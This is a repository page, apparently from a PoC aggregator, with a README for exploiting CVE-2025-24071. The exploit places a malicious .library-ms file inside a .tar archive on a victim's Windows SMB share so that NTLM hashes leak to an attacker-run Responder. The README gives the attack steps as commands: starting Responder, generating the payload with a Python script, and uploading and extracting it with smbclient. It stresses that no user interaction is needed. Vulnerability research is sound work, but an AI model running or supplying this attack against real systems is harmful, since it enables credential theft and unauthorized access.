来源

关联漏洞

描述

Exploited CVE-2025-24071 via SMB by hosting a .library-ms file inside a .tar archive. Using tar x from smbclient, the payload is extracted server-side without user interaction. Responder captures the NTLM hash once the target accesses the library.

介绍

# CVE-2025-24071 PoC (SMB + TAR Extraction Method)

This is a PoC for exploiting **CVE-2025-24071**, a vulnerability in Windows that allows NTLM hash leakage via `.library-ms` files. This version diverges slightly from others by using a `.tar` archive instead of a `.zip`, which improves compatibility in SMB-only environments.

## 📌 Why `.tar` instead of `.zip`?

Most public PoCs use `.zip` to package the malicious `.library-ms` file. However, if you're working in a restricted SMB environment (e.g., only access via `smbclient`), ZIP files can't be extracted remotely. By using a `.tar` archive, you can extract the payload directly from the SMB share using the `tar` command built into `smbclient`, allowing remote deployment **without needing user interaction**.

---

## 🔧 Requirements

- Attacker machine with:
  - `Responder` installed and running
  - An SMB server (e.g., `Responder`, `impacket-smbserver`, or `samba`)
- Victim machine:
  - Windows with SMB access enabled to the attacker's IP
---

## 🧪 Steps

### 1. Start Responder

Start Responder on the correct interface:

```bash
sudo responder -I <interface>
```

Make sure the IP in the payload matches this interface.

### 2. Generate the malicious .library-ms and pack into .tar

```bash
python3 create_tar_poc.py
```

You’ll be prompted to enter:

- A file name (e.g., exploit)
- The attacker's IP (e.g., 192.168.1.100)

This generates:

- exploit.library-ms (inside exploit.tar)
- exploit.tar

### 3. Upload and extract on the victim's SMB share

From your attacker machine, connect to the victim's SMB share using smbclient:


```bash
smbclient //<victim_ip>/<sharename> -U <USERNAME>
put exploit.tar
tar x exploit.tar
```
This will unpack the .library-ms into the share.

When the exploit.tar is extracted, the .library-ms file containing a malicious xml will connect to our SMB which is the active Responder on our machine, thus starting an authentication attempt using NTLM by sending a request containing the username, domain and the NTLM hash of the user's password, which we can later decrypt.

## 📽️ PoC Video

Coming soon...

## 🙏 Credits
Daniel Miranda Barcelona AKA Excal1bur | Based on the original work by 0x6rss, adapted for TAR-based SMB deployments in lab scenarios.

文件快照

 [4.0K]  /data/pocs/ec5839d3bc8ddef23d3d1003e992be4db9adde4c
├── [ 940]  poc_tar.py
└── [2.2K]  README.md

0 directories, 2 files

备注